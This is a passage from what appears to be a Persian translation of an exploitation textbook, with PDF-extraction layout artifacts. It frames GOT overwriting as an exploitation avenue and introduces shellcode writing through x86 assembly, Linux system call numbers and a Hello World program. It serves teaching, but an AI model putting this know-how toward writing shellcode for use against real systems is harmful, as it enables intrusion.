‫ﻣﺰﯾﺖ دﯾﮕﺮِ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ‪ ،‬ﺛﺎﺑﺖ ﺑﻮدن اﻗﻼم آن در ﺑﺎﯾﻨﺮی اﺳﺖ‪ ،‬ﻟﺬا ﯾـﮏ ﺳﯿـﺴﺘﻢ دﯾﮕـﺮ ﺑـﺎ ﻫﻤـﺎن‬
‫ﺑﺎﯾﻨﺮی‪ ،‬ﻫﻤﺎن ﻓﻘﺮه ‪ GOT‬را در آدرس ﯾﮑﺴﺎن ﺧﻮاﻫﺪ داﺷﺖ‪.‬‬
‫ﻗﺎﺑﻠﯿﺖ ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﻫﺎی دﻟﺨﻮاه اﺣﺘﻤﺎﻻت ﺑﯽ ﺷﻤﺎری را ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﭘﯿﺶ ﭘﺎی ﻣﺎ ﻗـﺮار ﻣـﯽ دﻫـﺪ‪ .‬ﺑـﻪ‬
‫ﻃﻮر ﮐﻠﯽ ﻫﺮ ﺑﺨﺶ از ﺣﺎﻓﻈﻪ را ﮐﻪ ﻗﺎﺑﻞ ﻧﻮﺷﺘﻦ ﺑﻮده و ﺣﺎوی آدرﺳﯽ ﺑﺎﺷﺪ ﮐﻪ روﻧﺪ اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻫﺪاﯾﺖ ﮐﻨـﺪ‪ ،‬ﻣـﯽ‬
‫ﺗﻮان ﻫﺪف ﻗﺮار داد‪.‬‬

‫‪ .2,10‬ﺷﻞ‪-‬ﮐﺪ ﻧﻮﯾﺴﯽ‬

‫ﺷﻞ‪-‬ﮐﺪ ﻧﻮﯾﺴﯽ ﻣﻬﺎرﺗﯽ اﺳﺖ ﮐﻪ اﮐﺜﺮ ﻣﺮدم ﻓﺎﻗﺪ آن ﻫﺴﺘﻨﺪ‪ .‬ﺳﺎده ﺑﻮدن ﺳﺎﺧﺘﺎر ﺷﻞ‪-‬ﮐﺪ ﺧﻮدش ﻣﺴﺌﻠﻪ ای اﺳـﺖ ﮐـﻪ‬
‫ﺣﻘﻪ ﻫﺎی ﻓﺮاواﻧﯽ را ﺑﺎﯾﺪ در راﺳﺘﺎی آن ﭘﯿﺎده ﮐﺮد‪ .‬ﺷﻞ‪-‬ﮐﺪ ﺑﺎﯾﺪ ﺧﻮد‪-‬ﻣﺤﺘﻮا )‪ (self-contained‬ﺑﻮده و از ﺑﺎﯾﺖ ﻫـﺎی‬
‫ﭘﻮچ دوری ﮐﻨﺪ )ﭼﺮا ﮐﻪ ﺳﺒﺐ ﺑﺴﺘﻦ ﯾﺎ ﭘﺎﯾﺎن دادن رﺷﺘﻪ ﻣﯽ ﺷﻮد(‪ .‬اﮔﺮ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ در ﺷﻞ‪-‬ﮐﺪ وﺟﻮد داﺷـﺘﻪ ﺑﺎﺷـﺪ‪،‬‬
‫ﺗﺎﺑﻌﯽ ﻣﺜﻞ )(‪ strcpy‬آﻧﺮا ﺑﻪ ﻋﻨﻮان اﻧﺘﻬﺎی رﺷﺘﻪ در ﻧﻈﺮ ﻣﯽ ﮔﯿﺮد‪ .‬ﺑﺮای ﻧﻮﺷﺘﻦ ﯾﮏ ﻗﻄﻌﻪ ﺷﻞ‪-‬ﮐﺪ‪ ،‬درک ﮐﺎﻓﯽ از زﺑﺎن‬

‫‪71‬‬
‫اﺳﻤﺒﻠﯽ ﻣﺮﺑﻮط ﺑﻪ ﭘﺮدازﻧﺪه ﻫﺪف )ﻣﻌﻤﺎری آن( ﻧﯿﺎز اﺳﺖ‪ .‬ﻟﺬا در اﯾﻦ ﻣﻮرد ﻣﻌﻤﺎری ‪ x86‬از زﺑﺎن اﺳﻤﺒﻠﯽ را دﻧﺒﺎل ﻣـﯽ‬
‫ﮐﻨﯿﻢ و اﮔﺮﭼﻪ اﯾﻦ ﮐﺘﺎب اﺳﻤﺒﻠﯽ ‪ x86‬را ﺑﻪ ﺻﻮرت ﻋﻤﯿﻖ ﺗﻮﺿﯿﺢ ﻧﻤﯽ دﻫﺪ‪ ،‬اﻣﺎ ﻧﮑﺎت ﻣﻬﻢ و ﺑﺮﺟﺴﺘﻪ در ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ‪-‬‬
‫ﮐﺪ ﻫﺎ را ﮔﻮﺷﺰد ﻣﯽ ﮐﻨﺪ‪.‬‬
‫دو ﻧﻮع ﺳﺎﺧﺘﺎر )‪ (syntax‬اﺻﻠﯽ ﺑﺮای ﻣﻌﻤﺎری ‪ x86‬وﺟﻮد دارد‪ :‬ﺳﺎﺧﺘﺎر ‪ AT&T‬و ﺳﺎﺧﺘﺎر اﯾﻨﺘﻞ)‪ .(Intel‬ﻣـﯽ ﺗـﻮان از‬
‫دو اﺳﻤﺒﻠﺮ ﻋﻤﺪه در ﻟﯿﻨﻮﮐﺲ ﯾﻌﻨﯽ ‪) gas‬ﺑﺮای ﺳـﺎﺧﺘﺎر ‪ (AT&T‬و ‪) nasm‬ﺑـﺮای ﺳـﺎﺧﺘﺎر اﯾﻨﺘـﻞ( ﯾـﺎد ﮐـﺮد‪ .‬ﺳـﺎﺧﺘﺎر‬
‫‪ AT&T‬ﻣﻌﻤﻮﻻ در ﺧﺮوﺟﯽ ﺗﻮاﺑﻊ و ﺑﺮﻧﺎﻣﻪ ﻫﺎی دﯾﺰاﺳﺒﻤﻞ ﻣﺜـﻞ ‪ objdump‬و ‪ gdb‬ﯾﺎﻓـﺖ ﻣـﯽ ﺷـﻮد‪ .‬ﺑـﻪ ﻋﻨـﻮان ﻣﺜـﺎل‬
‫ﺧﺮوﺟﯽ دﯾﺰاﺳﻤﺒﻞ ﺷﺪن ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ در ﺑﺨﺶ "ﺟﺎﯾﻨﻮﯾﺴﯽ ﺟﺪول آﻓـﺴﺖ ﻋﻤـﻮﻣﯽ" در ﻗﺎﻟـﺐ ﺳـﺎﺧﺘﺎر ‪AT&T‬‬
‫ﺑﻮد‪ .‬اﻣﺎ ﺧﻮاﻧﺪن ﺳﺎﺧﺘﺎر اﯾﻨﺘﻞ راﺣﺖ ﺗﺮ اﺳﺖ‪ ،‬ﻟﺬا ﺑﺮای ﻧﻮﺷﺘﻦ ﺷﻞ‪-‬ﮐﺪ از ﺳـﺎﺧﺘﺎر اﯾﻨﺘـﻞ و ﻗﺎﻟـﺐ ‪ nasm‬اﺳـﺘﻔﺎده ﻣـﯽ‬
‫ﮐﻨﯿﻢ‪.‬‬
‫ﺛﺒﺎت ﻫﺎی ﭘﺮدازﻧﺪه از ﻗﺒﯿﻞ ‪ ESP ،EIP‬و ‪ EBP‬را ﮐﻪ ﻗﺒﻼ ﺑﺤﺚ ﮐﺮدﯾﻢ ﺑﻪ ﯾﺎد آورﯾﺪ‪ .‬اﯾﻦ ﺛﺒﺎت ﻫﺎ را ﻣﯽ ﺗﻮان از ﻣﯿـﺎن‬
‫ﺛﺒﺎت ﻫﺎی دﯾﮕﺮ ﺑﻪ ﻋﻨﻮان ﻣﺘﻐﯿﺮﻫﺎ ﺑﺮای زﺑﺎن اﺳﻤﺒﻠﯽ ﻣﺤﺴﻮب ﮐﺮد‪ .‬اﻣﺎ ﭼﻮن ‪ EIP‬و ‪ ESP‬و ‪ EBP‬در راﺑﻄﻪ ﺑﺎ اﺟـﺮای‬
‫ﺑﺮﻧﺎﻣﻪ و ﻣﺪﯾﺮﯾﺖ روﻧﺪ اﺟﺮا ﻣﻬﻢ ﻫﺴﺘﻨﺪ‪ ،‬ﻟﺬا اﺳﺘﻔﺎده از آﻧﻬﺎ ﺑﻪ ﻋﻨﻮان ﻣﺘﻐﯿﺮﻫﺎی ﻫﻤﻪ‪-‬ﻣﻨﻈـﻮره )‪(general-purpose‬‬
‫ﮐﺎر ﻋﺎﻗﻼﻧﻪ ای ﻧﯿﺴﺖ‪ .‬ﺛﺒﺎت ﻫﺎی ‪ ESI ،EDX ،ECX ،EBX ،EAX‬و ‪ EDI‬ﺑﺮای اﯾﻦ ﻣﻘﺼﻮد ﻣﻨﺎﺳﺐ ﺗﺮ ﻫﺴﺘﻨﺪ‪ .‬اﯾـﻦ‬
‫ﺛﺒﺎت ﻫﺎ ﺗﻤﺎﻣﺎ ‪ 32‬ﺑﯿﺘﯽ ﻫﺴﺘﻨﺪ‪ ،‬ﭼﺮا ﮐﻪ ﭘﺮدازﻧﺪه ﻣﺎ ‪ 32‬ﺑﯿﺘﯽ اﺳﺖ‪ .‬اﻣﺎ ﺑﺎ اﺳﺎﻣﯽ دﯾﮕﺮ ﻣﯽ ﺗﻮان ﺑـﻪ ﻗﻄﻌـﺎت ﮐـﻮﭼﮑﺘﺮ از‬
‫اﯾﻦ ﺛﺒﺎت ﻫﺎ ﻧﯿﺰ دﺳﺘﺮﺳﯽ ﯾﺎﻓﺖ‪ .‬ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل ﻣﻌﺎدل ‪ 16‬ﺑﯿﺘﯽ ﺛﺒﺎت ﻫـﺎی ‪ ECX ،EBX ،EAX‬و ‪ EDX‬ﺑـﻪ ﺗﺮﺗﯿـﺐ‬
‫‪ CX ،BX ،AX‬و ‪ DX‬و ﻣﻌﺎدل ‪ 8‬ﺑﯿﺘﯽ آﻧﻬﺎ ﺑﻪ ﺗﺮﺗﯿﺐ ‪ DL ،CL ،BL ،AL‬ﻫﺴﺘﻨﺪ )اﻟﺒﺘﻪ ﻣﯽ ﺗﻮان ﺑـﻪ ﻓـﻀﺎی ﺑـﺎﻻﯾﯽ را‬
‫ﻧﯿﺰ دﺳﺘﺮﺳﯽ ﯾﺎﻓﺖ ﮐﻪ ﺑﻌﺪا ﺑﺤﺚ ﻣﯽ ﺷﻮد(‪ .‬ﻟﺬا ﺑﺮای اﯾﺠﺎد دﺳﺘﻮرات ﮐﻮﭼﮑﺘﺮ )ﮐﻢ ﺣﺠﻢ ﺗﺮ(‪ ،‬ﺛﺒﺎت ﻫﺎی ﮐﻮﭼﮑﺘﺮ را ﺑﻪ‬
‫ﮐﺎر ﺑﺮﯾﺪ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﻪ ﺧﺼﻮص در ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ‪-‬ﮐﺪﻫﺎی ﮐﻮﭼﮏ و ﮐﻢ ﺣﺠﻢ ﻣﻬﻢ و ﻣﻔﯿﺪ اﺳﺖ‪.‬‬

‫‪ .2,10,1‬دﺳﺘﻮرات ﻣﻌﻤﻮل در اﺳﻤﺒﻠﯽ‬

‫دﺳﺘﻮرات در ﺳﺎﺧﺘﺎرِ ﺳﺒﮏ ﻧﮕﺎرﺷﯽ ‪ nasm‬ﺑﻪ ﺻﻮرت زﯾﺮ ﻫﺴﺘﻨﺪ‪:‬‬


‫>‪instruction <destination>, <source‬‬
‫در زﯾﺮ ﭼﻨﺪﯾﻦ ﻧﻤﻮﻧﻪ از اﯾﻦ دﺳﺘﻮرات را ﮐﻪ در ﺳﺎﺧﺘﻤﺎن ﺷﻞ‪-‬ﮐﺪ ﺑﻪ ﮐﺎر ﻣﯽ روﻧﺪ ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫ﺗﻮﺿﯿﺢ‬ ‫ﻧﺎم ‪ /‬ﺳﺎﺧﺘﺎر‬ ‫دﺳﺘﻮر )‪(Instruction‬‬
‫ﺑﺮای ﺗﻨﻈﯿﻢ ﻣﻘﺎدﯾﺮ اوﻟﯿﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‬ ‫دﺳﺘﻮر اﻧﺘﻘﺎل )‪(move‬‬
‫‪mov‬‬
‫>‪ mov <dest>, <src‬ﻣﻘﺪار را از >‪ <src‬ﺑﻪ >‪ <dest‬ﻣﻨﺘﻘﻞ ﻣﯽ ﮐﻨﺪ‬
‫ﺑﺮای ﺟﻤﻊ ﮐﺮدن ﻣﻘﺎدﯾﺮ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‬ ‫دﺳﺘﻮر اﺿﺎﻓﻪ ﮐﺮدن‪/‬ﺟﻤﻊ )‪(add‬‬
‫‪add‬‬
‫>‪ add <dest>, <src‬ﻣﻘﺪار >‪ <src‬را ﺑﻪ >‪ <dest‬اﺿﺎﻓﻪ ﻣﯽ ﮐﻨﺪ‬
‫ﺑﺮای ﺗﻔﺮﯾﻖ ﻣﻘﺎدﯾﺮ ﺑﻪ ﮐﺎر ﻣﯽ رود‬ ‫دﺳﺘﻮر ﮐﻢ ﮐﺮدن‪/‬ﺗﻔﺮﯾﻖ )‪(substract‬‬
‫‪sub‬‬
‫>‪ sub <dest>, <src‬ﻣﻘﺪار >‪ <src‬را از >‪ <dest‬ﮐﻢ ﻣﯽ ﮐﻨﺪ‬
‫ﺑﺮای ﺟﺎﯾﮕﺬاری و ﻗﺮاردادن ﻣﻘـﺎدﯾﺮ در ﭘـﺸﺘﻪ اﺳـﺘﻔﺎده‬
‫دﺳﺘﻮر ﺟﺎﮔﺬاری )‪(Push‬‬
‫ﻣﯽ ﺷﻮد‬ ‫‪push‬‬
‫>‪ push <target‬ﻣﻘﺎدﯾﺮ ﻣﻮﺟﻮد در >‪ <target‬را در ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ دﻫﺪ‬
‫ﺑﺮای ﺑﺎزﯾﺎﺑﯽ و ﺣﺬف ﻣﻘﺎدﯾﺮ از ﭘﺸﺘﻪ ﺑﮑﺎر ﻣﯽ رود‬ ‫دﺳﺘﻮر ﺑﺎزﯾﺎﺑﯽ )‪(Pop‬‬
‫ﯾﮏ ﻣﻘﺪار )آﺧﺮﯾﻦ ﻣﻘﺪار وارد ﺷﺪه ﺑﻪ ﭘﺸﺘﻪ( را از ﭘﺸﺘﻪ‬ ‫‪pop‬‬
‫>‪pop <target‬‬
‫ﺑﺎزﯾﺎﺑﯽ ﮐﺮده و در >‪ <target‬ﻗﺮار ﻣﯽ دﻫﺪ‬
‫ﺑﺮای ﺗﻐﯿﯿﺮ ‪ EIP‬ﺑﻪ ﯾﮏ ﻣﮑﺎن ﻣﺸﺨﺺ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‬ ‫دﺳﺘﻮر ﭘﺮش )‪(Jump‬‬ ‫‪jmp‬‬
‫‪72‬‬
‫ﻣﻘﺪار ‪ EIP‬را ﺑﻪ آدرس ﻣﻮﺟﻮد در >‪ <address‬ﺗﻐﯿﯿـﺮ‬
‫>‪jmp <address‬‬
‫ﻣﯽ دﻫﺪ‬
‫اﯾﻦ دﺳﺘﻮر ﻧﯿﺰ ﻣﺜـﻞ ﯾـﮏ ﻓﺮاﺧـﻮاﻧﯽ ﺗـﺎﺑﻊ ﺟﻬـﺖ ﺗﻐﯿﯿـﺮ‬
‫‪ EIP‬ﺑﻪ ﯾﮏ آدرس ﻣﺸﺨﺺ اﺳﺘﻔﺎده ﻣـﯽ ﺷـﻮد‪ ،‬ﺑـﺎ اﯾـﻦ‬
‫دﺳﺘﻮر ﻓﺮاﺧﻮاﻧﯽ )‪(Call‬‬
‫ﺗﻔﺎوت ﮐﻪ آدرس ﺑﺮﮔـﺸﺖ را در ﭘـﺸﺘﻪ ﻗـﺮار ﻣـﯽ دﻫـﺪ‬
‫)‪(push‬‬ ‫‪call‬‬
‫آدرس دﺳﺘﻮر ﺑﻌﺪی را در ﭘـﺸﺘﻪ ﻗـﺮار ﻣﯿﺪﻫـﺪ‪ ،‬ﺳـﭙﺲ‬
‫>‪ EIP call <address‬را ﺑــﻪ آدرس ﻣﻮﺟــﻮد در >‪ <address‬ﺗﻐﯿﯿــﺮ ﻣــﯽ‬
‫دﻫﺪ‬
‫ﺑــﺮای درﯾﺎﻓــﺖ آدرس واﻗﻌــﯽ ﯾــﮏ ﻗﻄﻌــﻪ از ﺣﺎﻓﻈــﻪ‬ ‫دﺳﺘﻮر ﺑﺎرﮔﺬاری آدرس ﻣﻮﺛﺮ‬
‫اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‬ ‫)‪(Load Effective Address‬‬ ‫‪lea‬‬
‫>‪ lea <dest>, <src‬آدرس >‪ <src‬را در >‪ <dest‬ﺑﺎرﮔﺬاری ﻣﯽ ﮐﻨﺪ‬
‫ﺑﺮای ارﺳﺎل ﯾﮏ ﺳﯿﮕﻨﺎل ﺑﻪ ﻫﺴﺘﻪ ﺑﮑﺎر ﻣﯽ رود‬ ‫دﺳﺘﻮر وﻗﻔﻪ )‪(Interrupt‬‬
‫‪int‬‬
‫>‪ int <value‬وﻗﻔﻪ ی ﺷﻤﺎره ی >‪ <value‬را ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﮐﻨﺪ‬

‫‪ .2,10,2‬ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺳﯿﺴﺘﻤﯽ در ﻟﯿﻨﻮﮐﺲ‬

‫ﻋﻼوه ﺑﺮ دﺳﺘﻮرات اﺳﻤﺒﻠﯽ ﺧﺎﻣﯽ ﮐﻪ در ﭘﺮدازﻧﺪه وﺟﻮد دارﻧﺪ‪ ،‬ﻟﯿﻨﻮﮐﺲ ﯾﮏ ﻣﺠﻤﻮﻋﻪ از ﺗﻮاﺑﻊ را اراﺋﻪ ﻣﯽ دﻫﺪ ﮐﻪ ﻣـﯽ‬
‫ﺗﻮان آﻧﻬﺎ را ﺑﻪ راﺣﺘﯽ در اﺳﻤﺒﻠﯽ اﺟﺮا ﮐﺮد‪ .‬ﯾﮏ ﭼﻨﯿﻦ ﺗﺎﺑﻌﯽ ﺗﺤﺖ ﻋﻨﻮان ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ )‪ (system call‬ﺷـﻨﺎﺧﺘﻪ‬
‫ﺷﺪه و ﺑﺎ اﺳﺘﻔﺎده از وﻗﻔﻪ ﻫﺎ )‪ (interrupt‬ﺷﺮوع ﺑﻪ ﮐﺎر ﻣﯽ ﮐﻨﺪ‪ .‬ﯾﮏ ﻟﯿﺴﺖ ﺷﻤﺎرش ﺷﺪه از ﻓﺮاﺧﻮاﻧﯽ ﻫـﺎی ﺳﯿـﺴﺘﻤﯽ‬
‫را در ﻓﺎﯾﻞ ‪ /usr/include/asm/unistd.h‬ﺧﻮاﻫﯿﺪ ﯾﺎﻓﺖ‪.‬‬
‫‪$ head -n 80 /usr/include/asm/unistd.h‬‬
‫_‪#ifndef _ASM_I386_UNISTD_H‬‬
‫_‪#define _ASM_I386_UNISTD_H‬‬

‫*‪/‬‬
‫‪* This file contains the system call numbers.‬‬
‫‪*/‬‬

‫‪#define‬‬ ‫‪__NR_exit‬‬ ‫‪1‬‬


‫‪#define‬‬ ‫‪__NR_fork‬‬ ‫‪2‬‬
‫‪#define‬‬ ‫‪__NR_read‬‬ ‫‪3‬‬
‫‪#define‬‬ ‫‪__NR_write‬‬ ‫‪4‬‬
‫‪#define‬‬ ‫‪__NR_open‬‬ ‫‪5‬‬
‫‪#define‬‬ ‫‪__NR_close‬‬ ‫‪6‬‬
‫‪#define‬‬ ‫‪__NR_waitpid‬‬ ‫‪7‬‬
‫‪#define‬‬ ‫‪__NR_creat‬‬ ‫‪8‬‬
‫‪#define‬‬ ‫‪__NR_link‬‬ ‫‪9‬‬
‫‪#define‬‬ ‫‪__NR_unlink‬‬ ‫‪10‬‬
‫‪#define‬‬ ‫‪__NR_execve‬‬ ‫‪11‬‬
‫‪#define‬‬ ‫‪__NR_chdir‬‬ ‫‪12‬‬
‫‪#define‬‬ ‫‪__NR_time‬‬ ‫‪13‬‬
‫‪#define‬‬ ‫‪__NR_mknod‬‬ ‫‪14‬‬
‫‪#define‬‬ ‫‪__NR_chmod‬‬ ‫‪15‬‬
‫‪#define‬‬ ‫‪__NR_lchown‬‬ ‫‪16‬‬
‫‪#define‬‬ ‫‪__NR_break‬‬ ‫‪17‬‬
‫‪#define‬‬ ‫‪__NR_oldstat‬‬ ‫‪18‬‬
‫‪#define‬‬ ‫‪__NR_lseek‬‬ ‫‪19‬‬
‫‪#define‬‬ ‫‪__NR_getpid‬‬ ‫‪20‬‬
‫‪#define‬‬ ‫‪__NR_mount‬‬ ‫‪21‬‬
‫‪#define‬‬ ‫‪__NR_umount‬‬ ‫‪22‬‬
‫‪#define‬‬ ‫‪__NR_setuid‬‬ ‫‪23‬‬
‫‪73‬‬
#define __NR_getuid 24
#define __NR_stime 25
#define __NR_ptrace 26
#define __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#define __NR_utime 30
#define __NR_stty 31
#define __NR_gtty 32
#define __NR_access 33
#define __NR_nice 34
#define __NR_ftime 35
#define __NR_sync 36
#define __NR_kill 37
#define __NR_rename 38
#define __NR_mkdir 39
#define __NR_rmdir 40
#define __NR_dup 41
#define __NR_pipe 42
#define __NR_times 43
#define __NR_prof 44
#define __NR_brk 45
#define __NR_setgid 46
#define __NR_getgid 47
#define __NR_signal 48
#define __NR_geteuid 49
#define __NR_getegid 50
#define __NR_acct 51
#define __NR_umount2 52
#define __NR_lock 53
#define __NR_ioctl 54
#define __NR_fcntl 55
#define __NR_mpx 56
#define __NR_setpgid 57
#define __NR_ulimit 58
#define __NR_oldolduname 59
#define __NR_umask 60
#define __NR_chroot 61
#define __NR_ustat 62
#define __NR_dup2 63
#define __NR_getppid 64
#define __NR_getpgrp 65
#define __NR_setsid 66
#define __NR_sigaction 67
#define __NR_sgetmask 68
#define __NR_ssetmask 69
#define __NR_setreuid 70
#define __NR_setregid 71
#define __NR_sigsuspend 72
#define __NR_sigpending 73
‫ﺑﺎ اﺳﺘﻔﺎده از ﺗﻌﺪادی از دﺳﺘﻮرات اﺳﻤﺒﻠﯽ ﻣﻄﺮح ﺷﺪه در ﻗﺴﻤﺖ ﻗﺒﻞ و ﻧﯿﺰ ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺳﯿـﺴﺘﻤﯽ ﻣﻮﺟـﻮد در ﻓﺎﯾـﻞ‬
.‫ﮐﺪ زﯾﺎدی را ﺟﻬﺖ اﻧﺠﺎم اﻋﻤﺎل ﻣﺨﺘﻠﻒ ﻧﻮﺷﺖ‬-‫ ﻣﯽ ﺗﻮان ﺑﺮﻧﺎﻣﻪ ﻫﺎی اﺳﻤﺒﻠﯽ و ﻗﻄﻌﺎت ﺑﺎﯾﺖ‬unistd.h

Hello, World! ‫ ﺑﺮﻧﺎﻣﻪ‬.2,10,3

‫" ﻧﻘﻄﻪ ﺷﺮوع ﻣﻨﺎﺳﺐ و ﻣﺘﺪاوﻟﯽ را ﺟﻬـﺖ آﺷـﻨﺎﯾﯽ ﺑـﺎ ﻓﺮاﺧـﻮاﻧﯽ ﻫـﺎی ﺳﯿـﺴﺘﻤﯽ و‬Hello, World!" ‫ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺳﺎده‬
.‫زﺑﺎن اﺳﻤﺒﻠﯽ ﻓﺮاﻫﻢ ﻣﯽ آورد‬

74
‫ﺑﺮﻧﺎﻣﻪ !‪ Hello World‬ﺑﺎﯾﺪ ﻋﺒﺎرت "!‪ "Hello, world‬را ﺑﺮ روی ﺻﻔﺤﻪ ﻧﻤﺎﯾﺶ ﭼﺎپ ﮐﻨﯿﻢ‪ ،‬ﻟﺬا ﺗﺎﺑﻊ ﻣﻨﺎﺳﺐ در ﻓﺎﯾـﻞ‬
‫‪ unistd.h‬ﺑﺮای اﻧﺠﺎم اﯾﻦ ﻋﻤﻞ‪ ،‬ﺗﺎﺑﻊ )(‪ write‬اﺳﺖ‪ .‬ﺳﭙﺲ ﺑﺮای ﺧﺮوج از ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﺪ از ﺗﺎﺑﻊ )(‪ exit‬اﺳﺘﻔﺎده ﮐﻨـﯿﻢ‪ .‬ﺑـﻪ‬
‫اﯾﻦ ﺻﻮرت ﺑﺮﻧﺎﻣﻪ !‪ Hello, World‬ﺑﺎﯾﺪ دو ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ را ﺑﺮﻗﺮار ﺳﺎزد‪ ،‬ﯾﮑﯽ ﺑﻪ )(‪ write‬و دﯾﮕﺮی ﺑﻪ )(‪.exit‬‬
‫اﺑﺘﺪا ﺑﺎﯾﺪ آرﮔﻮﻣﺎن ﻫﺎی ﻣﻮرد ﻧﯿﺎز ﺑﺮای ﺗﺎﺑﻊ )(‪ write‬را ﺗﻌﯿﯿﻦ ﮐﺮد‪.‬‬
‫‪$ man 2 write‬‬
‫)‪WRITE(2‬‬ ‫‪Linux Programmer's Manual‬‬ ‫)‪WRITE(2‬‬

‫‪NAME‬‬
‫‪write - write to a file descriptor‬‬
‫‪SYNOPSIS‬‬
‫>‪#include <unistd.h‬‬

‫;)‪ssize_t write(int fd, const void *buf, size_t count‬‬

‫‪DESCRIPTION‬‬
‫‪write writes up to count bytes to the file referenced by‬‬
‫‪the file descriptor fd from the buffer starting at buf.‬‬
‫‪POSIX requires that a read() which can be proved to occur‬‬
‫‪after a write() has returned returns the new data. Note‬‬
‫‪that not all file systems are POSIX conforming.‬‬

‫‪$ man 2 exit‬‬


‫)‪_EXIT(2‬‬ ‫‪Linux Programmer's Manual‬‬ ‫)‪_EXIT(2‬‬
‫ﻫﻤـﺎن ﻃـﻮر ﮐــﻪ در ﺧﺮوﺟـﯽ ﻓــﻮق از راﻫﻨﻤـﺎی ﻟﯿﻨــﻮﮐﺲ ﺑـﺮ ﻣـﯽ آﯾــﺪ‪ ،‬اوﻟـﯿﻦ آرﮔﻮﻣــﺎن ﯾـﮏ ﺗﻮﺻــﯿﻔﮕﺮ ﻓﺎﯾـﻞ ) ‪file‬‬
‫‪ (descriptor‬اﺳﺖ ﮐﻪ ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ ﻣﯽ ﺑﺎﺷﺪ‪ .‬ﻣﻘﺪار ﻧﺸﺎن دﻫﻨﺪه وﺳﯿﻠﻪ ﺧﺮوﺟﯽ اﺳﺘﺎﻧﺪارد ﻋﺪد ‪ 1‬اﺳﺖ‪ ،‬ﻟﺬا ﺑـﺮای‬
‫ﭼﺎپ ﭘﯿﺎم ﺑﺮ ﺻﻔﺤﻪ ﺗﺮﻣﯿﻨﺎل ﺑﺎﯾﺪ اﯾـﻦ آرﮔﻮﻣـﺎن را ﺑﺮاﺑـﺮ ﺑـﺎ ‪ 1‬ﻗـﺮار دﻫـﯿﻢ‪ .‬آرﮔﻮﻣـﺎن ﺑﻌـﺪی‪ ،‬ﯾـﮏ اﺷـﺎرﮔﺮ ﺑـﻪ ﯾـﮏ‬
‫ﺑﺎﻓﺮﮐﺎراﮐﺘﺮی ﻣﯽ ﺑﺎﺷﺪ ﮐﻪ ﺣﺎوی رﺷﺘﻪ ﻣﻮرد ﻧﻈﺮ ﻣﺎ ﺑﺮای ﭼﺎپ ﺷﺪن اﺳﺖ‪ .‬آﺧﺮﯾﻦ آرﮔﻮﻣﺎن ﻧﯿﺰ ﻧﺸﺎن دﻫﻨـﺪه اﻧـﺪازه‬
‫آن ﺑﺎﻓﺮ ﮐﺎراﮐﺘﺮی ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ﻫﻨﮕﺎم ﺑﺮﻗﺮاری ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ در اﺳﻤﺒﻠﯽ‪ ،‬از ﺛﺒﺎت ﻫﺎی ‪ ECX ،EBX ،EAX‬و ‪ EDX‬ﺑﻪ ﻣﻨﻈﻮر ﺗﻌﯿﯿﻦ ﺗـﺎﺑﻊ‬
‫ﻣﻮرد ﻧﻈﺮ ﺑﺮای ﻓﺮاﺧﻮاﻧﯽ و ﻫﻤﭽﻨﯿﻦ ﺗﻨﻈﯿﻢ آرﮔﻮﻣﺎن ﻫﺎی آن ﺗﺎﺑﻊ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﺳﭙﺲ ﺑﺮای دﺳﺘﻮر دادن ﺑﻪ ﻫﺴﺘﻪ‬
‫ﺟﻬﺖ اﺳﺘﻔﺎده از اﯾﻦ ﺛﺒﺎت ﻫﺎ ﺑﻪ ﻣﻨﻈﻮر ﻓﺮاﺧﻮاﻧﯽ ﯾﮏ ﺗﺎﺑﻊ‪ ،‬از ﯾﮏ وﻗﻔﻪ ﻣﺨﺼﻮص )‪ – int 0x80‬ﺑﺮای ﻓﺮاﺧﻮاﻧﯽ ﻫﺴﺘﻪ(‬
‫اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﺛﺒﺎت ‪ EAX‬ﻧﺸﺎن دﻫﻨﺪه ی ﺗﺎﺑﻊ ﻣﻮرد ﺑﺮای ﻓﺮاﺧﻮاﻧﯽ اﺳﺖ )ﺗﻌﯿﯿﻦ اﯾﻨﮑﻪ ﮐﺪام ﺗﺎﺑﻊ ﻓﺮاﺧﻮاﻧﯽ ﺷـﻮد(‬
‫و ﺛﺒﺎت ﻫﺎی ‪ EBX‬ﺑﺮای اوﻟﯿﻦ آرﮔﻮﻣﺎن‪ ECX ،‬ﺑﺮای دوﻣﯿﻦ و ‪ EDX‬ﺑﺮای ﺳﻮﻣﯿﻦ آرﮔﻮﻣﺎن اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪.‬‬
